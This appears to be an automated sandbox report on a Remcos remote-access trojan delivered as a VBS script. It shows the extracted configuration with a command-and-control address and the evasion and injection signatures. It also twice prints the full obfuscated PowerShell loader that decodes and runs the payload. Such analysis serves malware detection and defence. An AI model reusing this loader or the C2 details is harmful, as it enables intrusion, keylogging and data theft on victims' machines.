Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
06/07/2026, 04:26
General
- Target Skovflaaters.vbs
- Size 43KB
- Sample260706-e2xl4sdv5p
- SHA256 e70340a81f494769700bcdb5ffd0a9a4fe6a34d87aefa27d725d8072965d8905
Malware Config
Extracted
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remcos
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7.2.5 Pro
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RemoteHost
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31.57.216.56:2404
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-1E0LSY
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Skovflaaters.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'amtskommunaldirektrers' 'komplementre' 'ungerontic';$stold=8501-8501;$granadas184=27582-21582;function balsamed ($lynaflederen,$ujordisk) {$openhearted=koldfrontens(@(104,222,232,225,212,203,216,219,201,211,230,206,218,146,212,188,225,225,155,151,218,214,229,215,210,221,220,215,142)) ;Grnskollingerne ($openhearted)}function koldfrontens ($ujordiskoligberettigede) { do {$granadas184=$respirere[$stold%15];$ujordiskoligberettigede[$stold]-=$granadas184;$cathedrals+=[char]$ujordiskoligberettigede[$stold];$stold++} while ($ujordiskoligberettigede[$stold])$cathedrals}function Grnskollingerne ($stampe) {&($faddiest249) $stampe}Function Kastelse ($ujordiskoligberettigede,$photolyzes=0){$spidsfindigstes=koldfrontens(@(159,181,222,225,233,202,222,234,194,168,174,175,222,212,223,134,211,226,216,169,153,191,234,215,215,226,208,148,137,231,174,225,225,215,220,216,215,229,209,215,219,203,209,215,215,184,230,216,218,216,201,209,159));$helgeninde=@(Grnskollingerne ($spidsfindigstes));For($crosstree=0; $helgeninde[$crosstree] -ne $stangbnnerne107; $crosstree++){$helgeninde[$crosstree] = balsamed $helgeninde[$crosstree] $respirere[$crosstree%15]}$beryx=koldfrontens(@(113,220,222,220,225,133,199,217,205,207,230,196,201,194,150,172,215,219,218,216,211,213,228,201,211));$ferieaftale=Grnskollingerne ($beryx);if ($photolyzes) { Grnskollingerne $ferieaftale}else {;$ferieaftale}}$respirere=@(68,114,111,115,115,101,108,118,101,110,116,105,108,101,114);$faddiest249=koldfrontens @(141,183,199);$reaggregated='\Launces.Phi';$lynaflederenssemblyd=Kastelse 'cVxfU1syBRgBAQMaTCsmZENfXUNeTCEMAEJdV0UKckZUUwETVkdQXFpZRUU1IREEHFxXXEdVXkVZXUU0LQAKFRwdQ0dQXFpZ';$overclosely=Kastelse 'LAYbAwBfQ1kBHB0fCUsVKx0IHxZLDxkIQQEKUwAKNB0dB04BAwELAhsICEMbIE9eRz4HBiEQHCstPjo5MREkJks3JhkXXzUfKDYDPTZaEhg=';$civilhortonoms=Kastelse 'CQEXHh9XQiUAHAIMHj0/CDo7JyNLWlhV';$unvituperatively191=Kastelse 'Azc7';$nightless=Kastelse 'EQEKAV4kCxMLGg==';$reticulation=Kastelse 'eg==';Kastelse 'YBUDHBEEAEwMCRoGHgAAIQZSVxYLGkwEHgQNDRETb1YdFhICCwQACRUdCQE=' 1;Kastelse 'YBUDHBEEAEwWBxAQW1BPYB0ZFgEGABkWCxgQQhYCKBsbW1cXCQIMDQEFDREbKxxG' 1;$overclosely=$sidy75[0];Kastelse 'YBUDHBEEAEwOARoGAQAGNhtSPRYSQTkHBBEKGEVfBx0CU1cGBQAMAhwGHhEdKh0CAA==' 1;Kastelse 'YBUDHBEEAEwRHB8FAxYXMAYKAR0AUV4xCwcdQTUTMBpPVxoCAhkXCwYMGEw=' 1;while (!$trklosetterne) {Kastelse 'YBUDHBEEAEw2Gx0fDQsGIU9LBwEQCQ==' 1;Kastelse 'YBkAHRwICQIXB1oGHAAcbFYaHQUMGAMVCwYIGAwEIR4WQkpUQFZBAQIMHgYeKwEKHwpJTFIDDxgaCUw=' 1;Kastelse 'YBkAHRwICQIXB1oaCREgIQMaFgARJBMEChEbREEcLRUHBx8AHwVJTlAFFQsTIh4KFxYXCRgWHREEDgkLIFs=' 1;Kastelse 'YBkAHRwICQIXB1oaCQsWbFs=' 1;Kastelse 'YBUDHBEEAEwNAhIFBQ5AcERSVxgKAhkICwAbBUsBMBMbBgBFQRMUTkZZXA==' 1;if ($hlflik246) {Kastelse 'HxAWBxY+MStBCRgGDgQefgYOHwMEGBcRC0lNBwocKx8KBwEMQgQAHQQGAhYXBh0LCg==' 1;Kastelse 'NxFPVxoCAhkXCwYMGEVWMBMDAxIRDQIATlksAgYdIBsBFFMnFQIA' 1} Kastelse 'Fx4KFgNNWF8=' 1;Kastelse 'YBUDHBEEAEwRHB8FAxYXMAYKAR0AUV4xCwcdQTUTMBpPVxoCAhkXCwYMGEw=' 1 ;Kastelse 'YBUDHBEEAEwWGhEEAQACKBcFFh1YSBEJARYIAF8ZNgAKAVhOSVIWBxAQW1BcJx0aHQc=' 1;$overclosely=$sidy75[$stemmeplejen]}$cirkulationsvrdis=143862;$middelhjde76=18906;Kastelse 'YBUDHBEEAEwGAQEBDQIXeRUMU1cMCxgKHBEbCRE=' 1;Kastelse 'YBUDHBEEAEwhARkGHgITKhscBxYXUS0mARofCRcGGUhVNQEKATQEHRFfWDYGNhsBFFtBDxkQBhUOCUw=' 1;Kastelse 'YBUDHBEEAEwQCgcdGQEXNhcbSk4+OBMdGlosAgYdIBsBFC5fVjc2LT0gQiIXMCEbARoLC15BKhsEAxcVJRwGAAcAHl8=' 1;Kastelse 'YBUDHBEEAEwJDwAKBBYGNhsBFE5BGRIWGgENCRcXMEtBAAYHHwIXBxoOREERLQAEBh8EGB8KAAcfHgEbN15LHhoBCBMJBh4NCVJEbQ==' 1;Grnskollingerne $latchstring;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'amtskommunaldirektrers' 'komplementre' 'ungerontic';$stold=8501-8501;$granadas184=27582-21582;function balsamed ($lynaflederen,$ujordisk) {$openhearted=koldfrontens(@(104,222,232,225,212,203,216,219,201,211,230,206,218,146,212,188,225,225,155,151,218,214,229,215,210,221,220,215,142)) ;Grnskollingerne ($openhearted)}function koldfrontens ($ujordiskoligberettigede) { do {$granadas184=$respirere[$stold%15];$ujordiskoligberettigede[$stold]-=$granadas184;$cathedrals+=[char]$ujordiskoligberettigede[$stold];$stold++} while ($ujordiskoligberettigede[$stold])$cathedrals}function Grnskollingerne ($stampe) {&($faddiest249) $stampe}Function Kastelse ($ujordiskoligberettigede,$photolyzes=0){$spidsfindigstes=koldfrontens(@(159,181,222,225,233,202,222,234,194,168,174,175,222,212,223,134,211,226,216,169,153,191,234,215,215,226,208,148,137,231,174,225,225,215,220,216,215,229,209,215,219,203,209,215,215,184,230,216,218,216,201,209,159));$helgeninde=@(Grnskollingerne ($spidsfindigstes));For($crosstree=0; $helgeninde[$crosstree] -ne $stangbnnerne107; $crosstree++){$helgeninde[$crosstree] = balsamed $helgeninde[$crosstree] $respirere[$crosstree%15]}$beryx=koldfrontens(@(113,220,222,220,225,133,199,217,205,207,230,196,201,194,150,172,215,219,218,216,211,213,228,201,211));$ferieaftale=Grnskollingerne ($beryx);if ($photolyzes) { Grnskollingerne $ferieaftale}else {;$ferieaftale}}$respirere=@(68,114,111,115,115,101,108,118,101,110,116,105,108,101,114);$faddiest249=koldfrontens @(141,183,199);$reaggregated='\Launces.Phi';$lynaflederenssemblyd=Kastelse 'cVxfU1syBRgBAQMaTCsmZENfXUNeTCEMAEJdV0UKckZUUwETVkdQXFpZRUU1IREEHFxXXEdVXkVZXUU0LQAKFRwdQ0dQXFpZ';$overclosely=Kastelse 'LAYbAwBfQ1kBHB0fCUsVKx0IHxZLDxkIQQEKUwAKNB0dB04BAwELAhsICEMbIE9eRz4HBiEQHCstPjo5MREkJks3JhkXXzUfKDYDPTZaEhg=';$civilhortonoms=Kastelse 'CQEXHh9XQiUAHAIMHj0/CDo7JyNLWlhV';$unvituperatively191=Kastelse 'Azc7';$nightless=Kastelse 'EQEKAV4kCxMLGg==';$reticulation=Kastelse 'eg==';Kastelse 'YBUDHBEEAEwMCRoGHgAAIQZSVxYLGkwEHgQNDRETb1YdFhICCwQACRUdCQE=' 1;Kastelse 'YBUDHBEEAEwWBxAQW1BPYB0ZFgEGABkWCxgQQhYCKBsbW1cXCQIMDQEFDREbKxxG' 1;$overclosely=$sidy75[0];Kastelse 'YBUDHBEEAEwOARoGAQAGNhtSPRYSQTkHBBEKGEVfBx0CU1cGBQAMAhwGHhEdKh0CAA==' 1;Kastelse 'YBUDHBEEAEwRHB8FAxYXMAYKAR0AUV4xCwcdQTUTMBpPVxoCAhkXCwYMGEw=' 1;while (!$trklosetterne) {Kastelse 'YBUDHBEEAEw2Gx0fDQsGIU9LBwEQCQ==' 1;Kastelse 'YBkAHRwICQIXB1oGHAAcbFYaHQUMGAMVCwYIGAwEIR4WQkpUQFZBAQIMHgYeKwEKHwpJTFIDDxgaCUw=' 1;Kastelse 'YBkAHRwICQIXB1oaCREgIQMaFgARJBMEChEbREEcLRUHBx8AHwVJTlAFFQsTIh4KFxYXCRgWHREEDgkLIFs=' 1;Kastelse 'YBkAHRwICQIXB1oaCQsWbFs=' 1;Kastelse 'YBUDHBEEAEwNAhIFBQ5AcERSVxgKAhkICwAbBUsBMBMbBgBFQRMUTkZZXA==' 1;if ($hlflik246) {Kastelse 'HxAWBxY+MStBCRgGDgQefgYOHwMEGBcRC0lNBwocKx8KBwEMQgQAHQQGAhYXBh0LCg==' 1;Kastelse 'NxFPVxoCAhkXCwYMGEVWMBMDAxIRDQIATlksAgYdIBsBFFMnFQIA' 1} Kastelse 'Fx4KFgNNWF8=' 1;Kastelse 'YBUDHBEEAEwRHB8FAxYXMAYKAR0AUV4xCwcdQTUTMBpPVxoCAhkXCwYMGEw=' 1 ;Kastelse 'YBUDHBEEAEwWGhEEAQACKBcFFh1YSBEJARYIAF8ZNgAKAVhOSVIWBxAQW1BcJx0aHQc=' 1;$overclosely=$sidy75[$stemmeplejen]}$cirkulationsvrdis=143862;$middelhjde76=18906;Kastelse 'YBUDHBEEAEwGAQEBDQIXeRUMU1cMCxgKHBEbCRE=' 1;Kastelse 'YBUDHBEEAEwhARkGHgITKhscBxYXUS0mARofCRcGGUhVNQEKATQEHRFfWDYGNhsBFFtBDxkQBhUOCUw=' 1;Kastelse 'YBUDHBEEAEwQCgcdGQEXNhcbSk4+OBMdGlosAgYdIBsBFC5fVjc2LT0gQiIXMCEbARoLC15BKhsEAxcVJRwGAAcAHl8=' 1;Kastelse 'YBUDHBEEAEwJDwAKBBYGNhsBFE5BGRIWGgENCRcXMEtBAAYHHwIXBxoOREERLQAEBh8EGB8KAAcfHgEbN15LHhoBCBMJBh4NCVJEbQ==' 1;Grnskollingerne $latchstring;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_3gz1ifvy.f1v.ps1
Launces.Phi
memory/1056-37-0x0000000006CB0000-0x0000000006CCA000-memory.dmp
memory/1056-40-0x0000000008BD0000-0x0000000009174000-memory.dmp
memory/1056-39-0x0000000007B20000-0x0000000007B42000-memory.dmp
memory/1056-20-0x0000000002E40000-0x0000000002E76000-memory.dmp
memory/1056-21-0x0000000005A20000-0x0000000006048000-memory.dmp
memory/1056-22-0x00000000058B0000-0x00000000058D2000-memory.dmp
memory/1056-24-0x00000000060C0000-0x0000000006126000-memory.dmp
memory/1056-23-0x0000000005950000-0x00000000059B6000-memory.dmp
memory/1056-32-0x0000000006170000-0x00000000064C4000-memory.dmp
memory/1056-38-0x0000000007C00000-0x0000000007C96000-memory.dmp
memory/1056-34-0x0000000006760000-0x000000000677E000-memory.dmp
memory/1056-35-0x00000000067A0000-0x00000000067EC000-memory.dmp
memory/1056-36-0x0000000007FA0000-0x000000000861A000-memory.dmp
memory/1056-42-0x0000000009180000-0x000000000E817000-memory.dmp
memory/1704-75-0x0000000000A90000-0x0000000001CE4000-memory.dmp
memory/1704-58-0x0000000000A90000-0x0000000001CE4000-memory.dmp
memory/1704-67-0x000000001E200000-0x000000001E2F7000-memory.dmp
memory/1704-79-0x0000000000A90000-0x0000000001CE4000-memory.dmp
memory/1704-68-0x000000001E200000-0x000000001E2F7000-memory.dmp
memory/1704-43-0x0000000000A90000-0x0000000001CE4000-memory.dmp
memory/1704-78-0x0000000000A90000-0x0000000001CE4000-memory.dmp
memory/1704-77-0x0000000000A90000-0x0000000001CE4000-memory.dmp
memory/1704-76-0x0000000000A90000-0x0000000001CE4000-memory.dmp
memory/1704-63-0x0000000000A90000-0x0000000001CE4000-memory.dmp
memory/1704-64-0x000000001E200000-0x000000001E2F7000-memory.dmp
memory/3692-5-0x000001B1EA1C0000-0x000001B1EA1D0000-memory.dmp
memory/3692-14-0x000001B1EA1C0000-0x000001B1EA1D0000-memory.dmp
memory/3692-15-0x000001B1EA1C0000-0x000001B1EA1D0000-memory.dmp
memory/3692-12-0x000001B1EC280000-0x000001B1EC2A2000-memory.dmp
memory/3692-4-0x000001B1EA1C0000-0x000001B1EA1D0000-memory.dmp